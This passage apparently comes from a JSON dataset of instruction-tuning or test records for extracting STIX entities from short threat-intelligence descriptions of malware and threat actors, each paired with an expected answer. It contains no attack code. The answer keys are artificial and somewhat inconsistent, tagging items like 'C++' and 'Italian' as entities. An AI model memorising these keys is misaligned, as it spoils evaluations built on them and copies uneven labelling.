attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nANDROIDOS_ANSERVER.A is Android malware that is unique because it uses encrypted content within a blog site for command and control.\n",
    "output": "<entities>Android|ANDROIDOS_ANSERVER.A</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRamsay is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between Ramsay and the Darkhotel-associated Retro malware.\n",
    "output": "<entities>Ramsay|Darkhotel|Retro</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAkira ransomware, written in C++, is most prominently (but not exclusively) associated with the a ransomware-as-a-service entity Akira.\n",
    "output": "<entities>C++|Akira</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPLAINTEE collects general system enumeration data about the infected machine and checks the OS version.\n",
    "output": "<entities>PLAINTEE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nYiSpecter is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. YiSpecter abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.\n",
    "output": "<entities>YiSpecter|Android|iOS|China|Taiwan</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTA544 is a cybercriminal threat actor that distributes banking malware and other payloads in various geographic regions including Italy and Japan.  Proofpoint has tracked this actor since 2017. Typically, this group varies its payloads which appear to be targeted by region \u2013 for example, in 2021, all TA544 Ursnif campaigns have specifically targeted Italian organizations while Dridex payloads associated with this threat actor do not have specific geographic targeting.\n",
    "output": "<entities>TA544|Italy|Japan|Proofpoint|Ursnif|Italian|Dridex</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBusyGasper is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.\n",
    "output": "<entities>BusyGasper|Android|Russia</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPoshC2 has modules for enumerating domain trusts.\n",
    "output": "<entities>PoshC2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSharpDisco is a dropper developed in C# that has been used by MoustachedBouncer since at least 2020 to load malicious plugins.\n",
    "output": "<entities>SharpDisco|MoustachedBouncer|C#</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSquirrelwaffle is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as Cobalt Strike and the QakBot banking trojan.\n",
    "output": "<entities>Squirrelwaffle|Cobalt Strike|QakBot</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nVaporRage can deobfuscate XOR-encoded shellcode prior to execution.\n",
    "output": "<entities>VaporRage</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.\n",
    "output": "<entities>AADInternals|GitHub|PowerShell|Azure Active Directory</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBad Rabbit has masqueraded as a Flash Player installer through the executable file install_flash_player.exe.\n",
    "output": "<entities>Bad Rabbit|Flash Player|install_flash_player.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nInnaputRAT uses the API call ShellExecuteW for execution.\n",
    "output": "<entities>InnaputRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPoisonIvy uses the Camellia cipher to encrypt communications.\n",
    "output": "<entities>PoisonIvy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKwampirs collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use.\n",
    "output": "<entities>Kwampirs|netstat</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.\n",
    "output": "<entities>Cheerscrypt|Cinnamon Tempest|ESXi|Windows|Babuk|Night Sky</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMalware used by Group5 is capable of remotely deleting files from victims.\n",
    "output": "<entities>Group5</entities>"
  },
  {
